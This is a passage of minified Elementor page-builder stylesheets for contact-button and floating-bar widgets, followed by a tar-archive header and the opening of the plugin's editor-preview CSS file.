0);transition:var(--e-contact-buttons-transition)}}@media (min-width:1025px){.e-contact-buttons-var-9.has-h-alignment-start .e-contact-buttons__chat-button:focus .e-contact-buttons__chat-button-text,.e-contact-buttons-var-9.has-h-alignment-start .e-contact-buttons__chat-button:hover .e-contact-buttons__chat-button-text{-webkit-clip-path:inset(0 0 0 0);clip-path:inset(0 0 0 0);transition:var(--e-contact-buttons-transition)}.e-contact-buttons-var-9.has-h-alignment-start .e-contact-buttons__chat-button:focus .e-contact-buttons__chat-button-icon-container,.e-contact-buttons-var-9.has-h-alignment-start .e-contact-buttons__chat-button:hover .e-contact-buttons__chat-button-icon-container{inset-inline-start:100%;transition:var(--e-contact-buttons-transition)}}@media (min-width:1025px){.e-contact-buttons-var-9.has-h-alignment-center .e-contact-buttons__chat-button-icon-container{order:2;position:absolute;inset-inline-start:50%;transform:translateX(-50%)}}.e-contact-buttons-var-9.has-h-alignment-center .e-contact-buttons__chat-button-text{border-start-start-radius:0;border-end-start-radius:0;border-start-end-radius:50px;border-end-end-radius:50px;margin-inline-start:var(--e-contact-buttons-overlap-margin)}@media (min-width:1025px){.e-contact-buttons-var-9.has-h-alignment-center .e-contact-buttons__chat-button-text{inset-inline-end:50%;order:1;-webkit-clip-path:inset(0 0 0 100%);clip-path:inset(0 0 0 100%)}}@media (min-width:1025px){.e-contact-buttons-var-9.has-h-alignment-center .e-contact-buttons__chat-button:focus .e-contact-buttons__chat-button-text,.e-contact-buttons-var-9.has-h-alignment-center .e-contact-buttons__chat-button:hover .e-contact-buttons__chat-button-text{-webkit-clip-path:inset(0 0 0 0);clip-path:inset(0 0 0 0);transition:var(--e-contact-buttons-transition)}.e-contact-buttons-var-9.has-h-alignment-center .e-contact-buttons__chat-button:focus .e-contact-buttons__chat-button-icon-container,.e-contact-buttons-var-9.has-h-alignment-center .e-contact-buttons__chat-button:hover .e-contact-buttons__chat-button-icon-container{inset-inline-start:-100%;transform:unset;transition:var(--e-contact-buttons-transition)}}.e-contact-buttons-var-9.has-h-alignment-center .e-contact-buttons__chat-button.has-size-small:focus .e-contact-buttons__chat-button-icon-container,.e-contact-buttons-var-9.has-h-alignment-center .e-contact-buttons__chat-button.has-size-small:hover .e-contact-buttons__chat-button-icon-container{inset-inline-start:calc(-100% + 10px)}.e-contact-buttons-var-9.has-h-alignment-center .e-contact-buttons__chat-button.has-size-large:focus .e-contact-buttons__chat-button-icon-container,.e-contact-buttons-var-9.has-h-alignment-center .e-contact-buttons__chat-button.has-size-large:hover .e-contact-buttons__chat-button-icon-container{inset-inline-start:calc(-100% - 5px)}.e-contact-buttons-var-10{--e-contact-buttons-size-small:40px;--e-contact-buttons-size-medium:48px;--e-contact-buttons-size-large:56px;--e-contact-buttons-svg-size-small:20px;--e-contact-buttons-svg-size-medium:24px;--e-contact-buttons-svg-size-large:28px;--e-contact-buttons-svg-size:var(--e-contact-buttons-svg-size-medium);--e-contact-buttons-horizontal-offset:0;--e-contact-buttons-transition-duration:.3s;--e-contact-buttons-transition:all var(--e-contact-buttons-transition-duration);--e-contact-buttons-contact-gap:4px;--e-contact-buttons-contact-padding-block-end:8px;--e-contact-buttons-contact-padding-block-start:8px;--e-contact-buttons-contact-padding-inline-end:12px;--e-contact-buttons-contact-padding-inline-start:12px;width:auto}.e-contact-buttons-var-10 .has-corners-rounded{--e-contact-buttons-border-radius:20px}.e-contact-buttons-var-10 .has-corners-round{--e-contact-buttons-border-radius:50px}.e-contact-buttons-var-10 .has-corners-sharp{--e-contact-buttons-border-radius:0}.e-contact-buttons-var-10 .has-size-small{--e-contact-buttons-svg-size:var(--e-contact-buttons-svg-size-small)}.e-contact-buttons-var-10 .has-size-medium{--e-contact-buttons-svg-size:var(--e-contact-buttons-svg-size-medium)}.e-contact-buttons-var-10 .has-size-large{--e-contact-buttons-svg-size:var(--e-contact-buttons-svg-size-large)}.e-contact-buttons-var-10 .e-contact-buttons__contact-links{display:flex;gap:var(--e-contact-buttons-contact-gap)}.e-contact-buttons-var-10 .e-contact-buttons__contact-icon-container{align-items:center;display:inline-flex;justify-content:center}.e-contact-buttons-var-10 .e-contact-buttons__contact-icon-container svg{height:var(--e-contact-buttons-svg-size);width:var(--e-contact-buttons-svg-size)}.e-contact-buttons-var-10 .e-contact-buttons__contact-icon-container i{font-size:var(--e-contact-buttons-svg-size)}.e-contact-buttons-var-10 .e-contact-buttons__contact-icon-link{align-items:center;background-color:var(--e-contact-buttons-contact-button-bg);color:var(--e-contact-buttons-contact-button-icon);display:flex;transition:all .3s}.e-contact-buttons-var-10 .e-contact-buttons__contact-icon-link svg{fill:var(--e-contact-buttons-contact-button-icon)}.e-contact-buttons-var-10 .e-contact-buttons__contact-icon-link:focus,.e-contact-buttons-var-10 .e-contact-buttons__contact-icon-link:hover{background-color:var(--e-contact-buttons-contact-button-bg);color:var(--e-contact-buttons-contact-button-icon);transition:all .3s}.e-contact-buttons-var-10 .e-contact-buttons__contact-icon-link:focus svg,.e-contact-buttons-var-10 .e-contact-buttons__contact-icon-link:hover svg{fill:var(--e-contact-buttons-contact-button-icon)}.e-contact-buttons-var-10 .e-contact-buttons__contact-title{display:inline-block;padding-block-end:var(--e-contact-buttons-contact-padding-block-end);padding-block-start:var(--e-contact-buttons-contact-padding-block-start);padding-inline-end:var(--e-contact-buttons-contact-padding-inline-end);padding-inline-start:var(--e-contact-buttons-contact-padding-inline-start)}.e-contact-buttons-var-10.has-h-alignment-start .e-contact-buttons__contact-icon-link{--e-contact-buttons-margin-offset:8px;justify-content:flex-end;padding-inline-end:12px;transform:translateX(calc(-100% + var(--e-contact-buttons-svg-size) * 2 - var(--e-contact-buttons-margin-offset)));transition:var(--e-contact-buttons-transition)}.e-contact-buttons-var-10.has-h-alignment-start .e-contact-buttons__contact-icon-link.has-size-small{--e-contact-buttons-margin-offset:2px}[dir=rtl] .e-contact-buttons-var-10.has-h-alignment-start .e-contact-buttons__contact-icon-link{--e-contact-buttons-margin-offset:2px;transform:translateX(calc(100% - (var(--e-contact-buttons-svg-size) * 2 - var(--e-contact-buttons-margin-offset))))}[dir=rtl] .e-contact-buttons-var-10.has-h-alignment-start .e-contact-buttons__contact-icon-link.has-size-large{--e-contact-buttons-margin-offset:8px}.e-contact-buttons-var-10.has-h-alignment-start .e-contact-buttons__contact-links{align-items:flex-start;flex-direction:column}.e-contact-buttons-var-10.has-h-alignment-start .e-contact-buttons__contact-icon-link{border-start-start-radius:0;border-start-end-radius:var(--e-contact-buttons-border-radius);border-end-start-radius:0;border-end-end-radius:var(--e-contact-buttons-border-radius)}@media (min-width:768px){.e-contact-buttons-var-10.has-h-alignment-start .e-contact-buttons__contact-icon-link:focus,.e-contact-buttons-var-10.has-h-alignment-start .e-contact-buttons__contact-icon-link:hover{transform:none;transition:var(--e-contact-buttons-transition)}}.e-contact-buttons-var-10.has-h-alignment-start .e-contact-buttons__contact-icon-link.active{transform:none;transition:var(--e-contact-buttons-transition)}.e-contact-buttons-var-10.has-h-alignment-end .e-contact-buttons__contact-icon-link{--e-contact-buttons-margin-offset:8px;padding-inline-start:12px;transform:translateX(calc(100% - var(--e-contact-buttons-svg-size) * 2 + var(--e-contact-buttons-margin-offset)));transition:var(--e-contact-buttons-transition)}.e-contact-buttons-var-10.has-h-alignment-end .e-contact-buttons__contact-icon-link.has-size-small{--e-contact-buttons-margin-offset:2px}[dir=rtl] .e-contact-buttons-var-10.has-h-alignment-end .e-contact-buttons__contact-icon-link{--e-contact-buttons-margin-offset:2px;transform:translateX(calc(-100% + var(--e-contact-buttons-svg-size) * 2 - var(--e-contact-buttons-margin-offset)))}[dir=rtl] .e-contact-buttons-var-10.has-h-alignment-end .e-contact-buttons__contact-icon-link.has-size-large{--e-contact-buttons-margin-offset:8px}@media (min-width:768px){.e-contact-buttons-var-10.has-h-alignment-end .e-contact-buttons__contact-icon-link:focus,.e-contact-buttons-var-10.has-h-alignment-end .e-contact-buttons__contact-icon-link:hover{transform:none;transition:var(--e-contact-buttons-transition)}}.e-contact-buttons-var-10.has-h-alignment-end .e-contact-buttons__contact-icon-link.active{transform:none;transition:var(--e-contact-buttons-transition)}.e-contact-buttons-var-10.has-h-alignment-end .e-contact-buttons__contact-links{align-items:flex-end;flex-direction:column}.e-contact-buttons-var-10.has-h-alignment-end .e-contact-buttons__contact-icon-container{order:1}.e-contact-buttons-var-10.has-h-alignment-end .e-contact-buttons__contact-title{order:2}.e-contact-buttons-var-10.has-h-alignment-end .e-contact-buttons__contact-icon-link{border-start-start-radius:var(--e-contact-buttons-border-radius);border-start-end-radius:0;border-end-start-radius:var(--e-contact-buttons-border-radius);border-end-end-radius:0}.e-contact-buttons-var-10.has-h-alignment-center .e-contact-buttons__contact-icon-link{flex-direction:column}.e-contact-buttons-var-10.has-h-alignment-center .e-contact-buttons__contact-title{writing-mode:vertical-lr}.e-contact-buttons-var-10.has-h-alignment-center.has-v-alignment-bottom .e-contact-buttons__contact-links{align-items:flex-end}.e-contact-buttons-var-10.has-h-alignment-center.has-v-alignment-bottom .e-contact-buttons__contact-icon-container{order:1}.e-contact-buttons-var-10.has-h-alignment-center.has-v-alignment-bottom .e-contact-buttons__contact-title{order:2}.e-contact-buttons-var-10.has-h-alignment-center.has-v-alignment-bottom .e-contact-buttons__contact-icon-link{--e-contact-buttons-margin-offset:14px;border-start-start-radius:var(--e-contact-buttons-border-radius);border-start-end-radius:var(--e-contact-buttons-border-radius);border-end-start-radius:0;border-end-end-radius:0;padding-block-start:12px;transform:translateY(calc(100% - var(--e-contact-buttons-svg-size) * 2 + var(--e-contact-buttons-margin-offset)));transition:var(--e-contact-buttons-transition)}@media (min-width:768px){.e-contact-buttons-var-10.has-h-alignment-center.has-v-alignment-bottom .e-contact-buttons__contact-icon-link:focus,.e-contact-buttons-var-10.has-h-alignment-center.has-v-alignment-bottom .e-contact-buttons__contact-icon-link:hover{transform:none;transition:var(--e-contact-buttons-transition)}}.e-contact-buttons-var-10.has-h-alignment-center.has-v-alignment-bottom .e-contact-buttons__contact-icon-link.active{transform:none;transition:var(--e-contact-buttons-transition)}.e-contact-buttons-var-10.has-h-alignment-center.has-v-alignment-bottom .e-contact-buttons__contact-icon-link.has-size-small{--e-contact-buttons-margin-offset:5px}.e-contact-buttons-var-10.has-h-alignment-center.has-v-alignment-top .e-contact-buttons__contact-links{align-items:flex-start}.e-contact-buttons-var-10.has-h-alignment-center.has-v-alignment-top .e-contact-buttons__contact-icon-container{align-items:flex-end}.e-contact-buttons-var-10.has-h-alignment-center.has-v-alignment-top .e-contact-buttons__contact-icon-link{--e-contact-buttons-margin-offset:14px;border-start-start-radius:0;border-start-end-radius:0;border-end-start-radius:var(--e-contact-buttons-border-radius);border-end-end-radius:var(--e-contact-buttons-border-radius);justify-content:flex-end;padding-block-end:12px;transform:translateY(calc(-100% + var(--e-contact-buttons-svg-size) + var(--e-contact-buttons-margin-offset)));transition:var(--e-contact-buttons-transition)}@media (min-width:768px){.e-contact-buttons-var-10.has-h-alignment-center.has-v-alignment-top .e-contact-buttons__contact-icon-link:focus,.e-contact-buttons-var-10.has-h-alignment-center.has-v-alignment-top .e-contact-buttons__contact-icon-link:hover{transform:none;transition:var(--e-contact-buttons-transition)}}.e-contact-buttons-var-10.has-h-alignment-center.has-v-alignment-top .e-contact-buttons__contact-icon-link.active{transform:none;transition:var(--e-contact-buttons-transition)}.e-floating-bars{--e-floating-bars-announcement-bg-color:#467ff7;--e-floating-bars-announcement-text-color:#fff;--e-floating-bars-announcement-icon-color:#fff;--e-floating-bars-cta-button-text-color:#fff;--e-floating-bars-cta-button-text-color-hover:#467ff7;--e-floating-bars-cta-button-bg-color:#1c2448;--e-floating-bars-cta-button-bg-color-hover:#fff;--e-floating-bars-cta-button-border-color:#1c2448;--e-floating-bars-cta-button-border-color-hover:#1c2448;--e-floating-bars-close-button-color:#fff;--e-floating-bars-announcement-icon-size:20px;--e-floating-bars-elements-padding-block-end:12px;--e-floating-bars-elements-padding-block-start:12px;--e-floating-bars-elements-padding-inline-end:16px;--e-floating-bars-elements-padding-inline-start:16px;--e-floating-bars-elements-gap:16px;--e-floating-bars-cta-corners:50px;--e-floating-bars-cta-button-border-width:2px;--e-floating-bars-cta-button-padding-block-end:8px;--e-floating-bars-cta-button-padding-block-start:8px;--e-floating-bars-cta-button-padding-inline-end:20px;--e-floating-bars-cta-button-padding-inline-start:20px;--e-floating-bars-cta-button-icon-gap:5px;--e-floating-bars-cta-button-animation-delay:500ms;--e-floating-bars-cta-button-animation-duration:1000ms;--e-floating-bars-background-overlay-opacity:0.5;--e-floating-bars-close-icon-size:24px;align-items:center;background-color:var(--e-floating-bars-announcement-bg-color);color:var(--e-floating-bars-announcement-text-color);display:flex;gap:var(--e-floating-bars-elements-gap);position:relative;padding-block-end:var(--e-floating-bars-elements-padding-block-end);padding-block-start:var(--e-floating-bars-elements-padding-block-start);padding-inline-end:var(--e-floating-bars-elements-padding-inline-end);padding-inline-start:var(--e-floating-bars-elements-padding-inline-start);width:100%;z-index:10000}@media (max-width:767px){.e-floating-bars{align-items:flex-start;display:grid;grid-template-columns:auto auto;grid-template-rows:auto auto;gap:var(--e-floating-bars-elements-gap);row-gap:16px}}.e-floating-bars:focus{outline:none}.e-floating-bars.has-vertical-position-top{inset-block-start:0}.e-floating-bars.has-vertical-position-bottom{inset-block-end:0}.e-floating-bars.is-sticky{inset-inline-end:0;inset-inline-start:0;position:fixed}.e-floating-bars.is-hidden{display:none}.e-floating-bars.has-close-button{padding-inline-end:calc(var(--e-floating-bars-elements-padding-inline-end) + 20px);padding-inline-start:calc(var(--e-floating-bars-elements-padding-inline-start) + 20px)}.e-floating-bars .has-corners-rounded{--e-floating-bars-corners:20px}.e-floating-bars .has-corners-round{--e-floating-bars-corners:50px}.e-floating-bars .has-corners-sharp{--e-floating-bars-corners:0}.e-floating-bars__announcement-text{align-items:center;color:var(--e-floating-bars-announcement-text-color);display:flex;font-size:16px;font-weight:400;height:100%;margin:0}.e-floating-bars__announcement-icon{align-items:center;color:var(--e-floating-bars-announcement-icon-color);display:flex;height:100%}.e-floating-bars__announcement-icon svg{fill:var(--e-floating-bars-announcement-icon-color);height:var(--e-floating-bars-announcement-icon-size);width:var(--e-floating-bars-announcement-icon-size)}.e-floating-bars__announcement-icon i{color:var(--e-floating-bars-announcement-icon-color);font-size:var(--e-floating-bars-announcement-icon-size)}.e-floating-bars__cta-icon{color:var(--e-floating-bars-cta-button-text-color);display:inline-flex;transition:all .3s}.e-floating-bars__cta-icon svg{fill:var(--e-floating-bars-cta-button-text-color);height:1em;transition:all .3s;width:1em}.e-floating-bars__cta-button-container{order:3}@media (max-width:767px){.e-floating-bars__cta-button-container{display:flex;grid-column:span 2/span 2;grid-row-start:2}}.e-floating-bars__cta-button,.e-floating-bars__cta-button:not([href]):not([tabindex]){align-items:center;color:var(--e-floating-bars-cta-button-text-color);display:inline-flex;font-size:16px;font-weight:700;gap:var(--e-floating-bars-cta-button-icon-gap);position:relative;transition:all .3s;white-space:nowrap}.e-floating-bars__cta-button.animated,.e-floating-bars__cta-button:not([href]):not([tabindex]).animated{animation-delay:var(--e-floating-bars-cta-button-animation-delay);animation-duration:var(--e-floating-bars-cta-button-animation-duration);animation-iteration-count:1}.e-floating-bars__cta-button.has-entrance-animation,.e-floating-bars__cta-button:not([href]):not([tabindex]).has-entrance-animation{opacity:0}.e-floating-bars__cta-button.visible,.e-floating-bars__cta-button:not([href]):not([tabindex]).visible{opacity:1}.e-floating-bars__cta-button:focus,.e-floating-bars__cta-button:focus .e-floating-bars__cta-icon,.e-floating-bars__cta-button:hover,.e-floating-bars__cta-button:hover .e-floating-bars__cta-icon,.e-floating-bars__cta-button:not([href]):not([tabindex]):focus,.e-floating-bars__cta-button:not([href]):not([tabindex]):focus .e-floating-bars__cta-icon,.e-floating-bars__cta-button:not([href]):not([tabindex]):hover,.e-floating-bars__cta-button:not([href]):not([tabindex]):hover .e-floating-bars__cta-icon{color:var(--e-floating-bars-cta-button-text-color-hover);transition:all .3s}.e-floating-bars__cta-button:focus .e-floating-bars__cta-icon svg,.e-floating-bars__cta-button:hover .e-floating-bars__cta-icon svg,.e-floating-bars__cta-button:not([href]):not([tabindex]):focus .e-floating-bars__cta-icon svg,.e-floating-bars__cta-button:not([href]):not([tabindex]):hover .e-floating-bars__cta-icon svg{fill:var(--e-floating-bars-cta-button-text-color-hover);transition:all .3s}.e-floating-bars__cta-button.has-border,.e-floating-bars__cta-button:not([href]):not([tabindex]).has-border{border:var(--e-floating-bars-cta-button-border-width) solid var(--e-floating-bars-cta-button-border-color)}.e-floating-bars__cta-button.has-border:focus,.e-floating-bars__cta-button.has-border:hover,.e-floating-bars__cta-button:not([href]):not([tabindex]).has-border:focus,.e-floating-bars__cta-button:not([href]):not([tabindex]).has-border:hover{border-color:var(--e-floating-bars-cta-button-border-color-hover)}.e-floating-bars__cta-button.is-type-button,.e-floating-bars__cta-button:not([href]):not([tabindex]).is-type-button{background-color:var(--e-floating-bars-cta-button-bg-color);border-radius:var(--e-floating-bars-corners);padding-block-end:var(--e-floating-bars-cta-button-padding-block-end);padding-block-start:var(--e-floating-bars-cta-button-padding-block-start);padding-inline-end:var(--e-floating-bars-cta-button-padding-inline-end);padding-inline-start:var(--e-floating-bars-cta-button-padding-inline-start)}.e-floating-bars__cta-button.is-type-button:focus,.e-floating-bars__cta-button.is-type-button:hover,.e-floating-bars__cta-button:not([href]):not([tabindex]).is-type-button:focus,.e-floating-bars__cta-button:not([href]):not([tabindex]).is-type-button:hover{background-color:var(--e-floating-bars-cta-button-bg-color-hover)}.e-floating-bars__cta-button.is-type-link,.e-floating-bars__cta-button:not([href]):not([tabindex]).is-type-link{text-decoration:none}.e-floating-bars__cta-button.is-type-link .e-floating-bars__cta-text,.e-floating-bars__cta-button:not([href]):not([tabindex]).is-type-link .e-floating-bars__cta-text{text-decoration:underline}.e-floating-bars__close-button,.e-floating-bars__close-button[type=button]{align-items:center;display:flex;position:absolute}.e-floating-bars__close-button[type=button] i,.e-floating-bars__close-button i{font-size:var(--e-floating-bars-close-icon-size)}@media (max-width:767px){.e-floating-bars__close-button,.e-floating-bars__close-button[type=button]{top:10px}}.e-floating-bars__close-button,.e-floating-bars__close-button:focus,.e-floating-bars__close-button:hover,.e-floating-bars__close-button[type=button],.e-floating-bars__close-button[type=button]:focus,.e-floating-bars__close-button[type=button]:hover{background-color:transparent;border:0;color:var(--e-floating-bars-close-button-color);padding:0}.e-floating-bars__close-button:focus i,.e-floating-bars__close-button:hover i,.e-floating-bars__close-button[type=button]:focus i,.e-floating-bars__close-button[type=button]:hover i,.e-floating-bars__close-button[type=button] i,.e-floating-bars__close-button i{color:var(--e-floating-bars-close-button-color)}.e-floating-bars__overlay{background-position:50%;background-size:cover;height:100%;inset-block-end:0;inset-block-start:0;inset-inline-end:0;inset-inline-start:0;opacity:var(--e-floating-bars-background-overlay-opacity);position:absolute;width:100%;z-index:-1}.e-con.e-con--floating-bars,.e-con:has(.e-floating-bars){padding:0}.e-con.e-con--floating-bars>.e-con-inner,.e-con.e-con--floating-bars>.e-con-inner.e-con-inner--floating-bars,.e-con:has(.e-floating-bars)>.e-con-inner,.e-con:has(.e-floating-bars)>.e-con-inner.e-con-inner--floating-bars{max-width:unset;padding-block-end:0;padding-block-start:0}.e-floating-bars-var-2{--e-floating-bars-announcement-bg-color:#fff;--e-floating-bars-headline-text-color:#1c2448;--e-floating-bars-headline-text-color-hover:#467ff7;--e-floating-bars-headline-icon-color:#467ff7;--e-floating-bars-pause-play-icon-color:#495157;--e-floating-bars-pause-play-bg-color:#f3f5f8;--e-floating-bars-close-button-bg-color:#1c2448;--e-floating-bars-headlines-gap:16px;--e-floating-bars-headline-icon-size:16px;--e-floating-bars-vertical-padding:16px;--e-floating-bars-headline-icon-position:row;--e-floating-bars-controls-icon-size:16px;--e-floating-bars-scroll-duration:100s;--e-floating-bars-scroll-direction:forwards;--e-floating-bars-ticker-controls-order:1;--e-floating-bars-headline-icon-gap:10px;align-items:stretch;gap:0;padding:0}.e-floating-bars-var-2.has-close-button{padding:0}.e-floating-bars-var-2 .e-floating-bars__headlines{display:flex;flex-grow:1;gap:var(--e-floating-bars-headlines-gap);max-width:100vw;padding-block:var(--e-floating-bars-vertical-padding)}.e-floating-bars-var-2 .e-floating-bars__headlines-inner{display:flex;gap:var(--e-floating-bars-headlines-gap);flex-wrap:nowrap;width:-moz-max-content;width:max-content;z-index:1}.e-floating-bars-var-2 .e-floating-bars__headlines[data-animated=true]{overflow:hidden}.e-floating-bars-var-2 .e-floating-bars__headlines[data-animated=true] .e-floating-bars__headlines-inner{animation:scroll var(--e-floating-bars-scroll-duration) var(--e-floating-bars-scroll-direction) linear infinite}[dir=rtl] .e-floating-bars-var-2 .e-floating-bars__headlines[data-animated=true] .e-floating-bars__headlines-inner{animation:scroll-reverse var(--e-floating-bars-scroll-duration) var(--e-floating-bars-scroll-direction) linear infinite}.e-floating-bars-var-2 .e-floating-bars__headlines[data-animated=true].has-pause-hover:hover .e-floating-bars__headlines-inner,.e-floating-bars-var-2 .e-floating-bars__headlines[data-animated=true].is-paused .e-floating-bars__headlines-inner{animation-play-state:paused}.e-floating-bars-var-2 .e-floating-bars__headline,.e-floating-bars-var-2 .e-floating-bars__headline:not([href]):not([tabindex]){align-items:center;color:var(--e-floating-bars-headline-text-color);display:flex;flex-direction:var(--e-floating-bars-headline-icon-position);gap:var(--e-floating-bars-headline-icon-gap);position:relative;width:-moz-max-content;width:max-content;z-index:1}.e-floating-bars-var-2 .e-floating-bars__headline:focus,.e-floating-bars-var-2 .e-floating-bars__headline:hover,.e-floating-bars-var-2 .e-floating-bars__headline:not([href]):not([tabindex]):focus,.e-floating-bars-var-2 .e-floating-bars__headline:not([href]):not([tabindex]):hover{color:var(--e-floating-bars-headline-text-color-hover)}.e-floating-bars-var-2 .e-floating-bars__headline-icon{color:var(--e-floating-bars-headline-icon-color);display:flex}.e-floating-bars-var-2 .e-floating-bars__headline-icon svg{fill:var(--e-floating-bars-headline-icon-color);height:var(--e-floating-bars-headline-icon-size);width:var(--e-floating-bars-headline-icon-size)}.e-floating-bars-var-2 .e-floating-bars__headline-icon i{color:var(--e-floating-bars-headline-icon-color);font-size:var(--e-floating-bars-headline-icon-size)}.e-floating-bars-var-2 .e-floating-bars__ticker-controls{align-items:stretch;display:flex}.e-floating-bars-var-2 .e-floating-bars__pause-button,.e-floating-bars-var-2 .e-floating-bars__play-button{align-items:center;background-color:var(--e-floating-bars-pause-play-bg-color);border:0;border-radius:0;color:var(--e-floating-bars-pause-play-icon-color);display:flex;justify-content:center;padding:16px;width:100%;z-index:1}.e-floating-bars-var-2 .e-floating-bars__pause-button svg,.e-floating-bars-var-2 .e-floating-bars__play-button svg{fill:var(--e-floating-bars-pause-play-icon-color);height:var(--e-floating-bars-controls-icon-size);width:var(--e-floating-bars-controls-icon-size)}.e-floating-bars-var-2 .e-floating-bars__pause-button i,.e-floating-bars-var-2 .e-floating-bars__play-button i{color:var(--e-floating-bars-pause-play-icon-color);font-size:var(--e-floating-bars-controls-icon-size)}.e-floating-bars-var-2 .e-floating-bars__pause-button[aria-hidden=true],.e-floating-bars-var-2 .e-floating-bars__play-button[aria-hidden=true]{display:none}.e-floating-bars-var-2 .e-floating-bars__close-button,.e-floating-bars-var-2 .e-floating-bars__close-button[type=button]{align-items:center;align-self:stretch!important;background-color:var(--e-floating-bars-close-button-bg-color);border-radius:0;inset-inline-end:unset!important;inset-inline-start:unset!important;order:var(--e-floating-bars-ticker-controls-order);padding-inline:12px;position:relative;top:unset!important;z-index:1}.e-floating-bars-var-2 .e-floating-bars__close-button[type=button] i,.e-floating-bars-var-2 .e-floating-bars__close-button i{font-size:var(--e-floating-bars-controls-icon-size)}.e-floating-bars-var-2 .e-floating-bars__play-pause-controls{align-items:stretch;display:flex;position:relative}.e-floating-bars-var-2 .e-floating-bars__overlay{z-index:0}.e-floating-bars-var-2 .e-floating-bars__ticker-controls{order:var(--e-floating-bars-ticker-controls-order)}@keyframes scroll{to{transform:translate(-100%)}}@keyframes scroll-reverse{to{transform:translate(100%)}}.e-floating-bars-var-3{--e-floating-bars-announcement-bg-color:#cdd9df;--e-floating-bars-announcement-text-color:#1c2448;--e-floating-bars-announcement-icon-color:#1c2448;--e-floating-bars-close-button-color:#1c2448;--e-floating-bars-coupon-button-color:#467ff7;--e-floating-bars-coupon-bg-color:#fff;--e-floating-bars-coupon-border-color:#467ff7;--e-floating-bars-coupon-icon-gap:5px;--e-floating-bars-coupon-border-width:2px;--e-floating-bars-coupon-padding-block-end:8px;--e-floating-bars-coupon-padding-block-start:8px;--e-floating-bars-coupon-padding-inline-end:20px;--e-floating-bars-coupon-padding-inline-start:20px;--e-floating-bars-coupon-animation-delay:500ms;--e-floating-bars-coupon-animation-duration:1000ms;--e-floating-bars-coupon-width:initial;--e-floating-bars-coupon-height:initial}.e-floating-bars-var-3 .e-floating-bars__coupon-button{align-items:center;border:0;border-radius:0;color:var(--e-floating-bars-coupon-button-color);display:flex;height:var(--e-floating-bars-coupon-height);justify-content:center;order:3;padding-block-end:var(--e-floating-bars-coupon-padding-block-end);padding-block-start:var(--e-floating-bars-coupon-padding-block-start);padding-inline-end:var(--e-floating-bars-coupon-padding-inline-end);padding-inline-start:var(--e-floating-bars-coupon-padding-inline-start);position:relative;width:var(--e-floating-bars-coupon-width)}.e-floating-bars-var-3 .e-floating-bars__coupon-button,.e-floating-bars-var-3 .e-floating-bars__coupon-button:focus,.e-floating-bars-var-3 .e-floating-bars__coupon-button:hover{background-color:var(--e-floating-bars-coupon-bg-color)}.e-floating-bars-var-3 .e-floating-bars__coupon-button.animated{animation-delay:var(--e-floating-bars-coupon-animation-delay);animation-duration:var(--e-floating-bars-coupon-animation-duration);animation-iteration-count:1}.e-floating-bars-var-3 .e-floating-bars__coupon-button.has-entrance-animation{opacity:0}.e-floating-bars-var-3 .e-floating-bars__coupon-button.visible{opacity:1}.e-floating-bars-var-3 .e-floating-bars__coupon-button.has-border.is-type-cutout{border:var(--e-floating-bars-coupon-border-width) dashed var(--e-floating-bars-coupon-border-color)}.e-floating-bars-var-3 .e-floating-bars__coupon-button.is-type-text{--e-floating-bars-coupon-padding-block-end:0;--e-floating-bars-coupon-padding-block-start:0;--e-floating-bars-coupon-padding-inline-end:0;--e-floating-bars-coupon-padding-inline-start:0;--e-floating-bars-coupon-border-width:0;--e-floating-bars-coupon-bg-color:transparent}.e-floating-bars-var-3 .e-floating-bars__coupon-button.is-type-gift-tag,.e-floating-bars-var-3 .e-floating-bars__coupon-button.is-type-price-tag,.e-floating-bars-var-3 .e-floating-bars__coupon-button.is-type-round-ticket,.e-floating-bars-var-3 .e-floating-bars__coupon-button.is-type-square-ticket{--e-floating-bars-coupon-padding-block-end:8px;--e-floating-bars-coupon-padding-block-start:8px;--e-floating-bars-coupon-padding-inline-end:20px;--e-floating-bars-coupon-padding-inline-start:20px;background-color:transparent}.e-floating-bars-var-3 .e-floating-bars__coupon-button.is-type-gift-tag,.e-floating-bars-var-3 .e-floating-bars__coupon-button.is-type-price-tag{padding-inline-start:calc(var(--e-floating-bars-coupon-padding-inline-start) + 1.5em)}[dir=rtl] .e-floating-bars-var-3 .e-floating-bars__coupon-button.is-type-gift-tag .e-floating-bars__shape,[dir=rtl] .e-floating-bars-var-3 .e-floating-bars__coupon-button.is-type-price-tag .e-floating-bars__shape{transform:rotate(180deg)}.e-floating-bars-var-3 .e-floating-bars__coupon-button.is-type-round-ticket,.e-floating-bars-var-3 .e-floating-bars__coupon-button.is-type-square-ticket{padding-inline:calc(var(--e-floating-bars-coupon-padding-inline-start) + .5em)}.e-floating-bars-var-3 .e-floating-bars__coupon-button.has-border .shape{stroke-width:var(--e-floating-bars-coupon-border-width);stroke:var(--e-floating-bars-coupon-border-color)}@media (max-width:767px){.e-floating-bars-var-3 .e-floating-bars__coupon-button{display:flex;grid-column:span 2/span 2;grid-row-start:2;justify-content:center}}.e-floating-bars-var-3 .e-floating-bars__shape{left:0;position:absolute;z-index:-1}.e-floating-bars-var-3 .e-floating-bars__shape .path{fill:var(--e-floating-bars-coupon-bg-color)}.e-floating-bars-var-3 .e-floating-bars__shape .circle{fill:var(--e-floating-bars-announcement-bg-color)}.e-floating-bars-var-3 .e-floating-bars__shape:not(:root){overflow:visible!important}.e-floating-bars-var-3 .e-floating-bars__coupon-icon{color:var(--e-floating-bars-coupon-button-color);display:flex}.e-floating-bars-var-3 .e-floating-bars__coupon-icon svg{fill:var(--e-floating-bars-coupon-button-color);height:1em;width:1em}.e-floating-bars-var-3 .e-floating-bars__coupon-text-group{align-items:center;display:flex;gap:var(--e-floating-bars-coupon-icon-gap)}.e-floating-bars-var-3 .e-floating-bars__coupon-text-group.is-hidden{display:none}assets/css/editor-preview.css000064400000421533147206604650012337 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-hidden { display: none; } .elementor-visibility-hidden { visibility: hidden; } .elementor-screen-only, .screen-reader-text, .screen-reader-text span, .ui-helper-hidden-accessible { position: absolute; top: -10000em; width: 1px; height: 1px; margin: -1px; padding: 0; overflow: hidden; clip: rect(0, 0, 0, 0); border: 0; } .elementor-clearfix:after { content: ""; display: block; clear: both; width: 0; height: 0; } .e-logo-wrapper { background: var(--e-a-bg-logo); display: inline-block; padding: 0.75em; border-radius: 50%; line-height: 1; } .e-logo-wrapper i { color: var(--e-a-color-logo); font-size: 1em; } :root { --e-a-color-white: #ffffff; --e-a-color-black: #000000; --e-a-color-logo: #ffffff; --e-a-color-primary: #F3BAFD; --e-a-color-primary-bold: #D004D4; --e-a-color-secondary: #515962; --e-a-color-success: #0A875A; --e-a-color-danger: #DC2626; 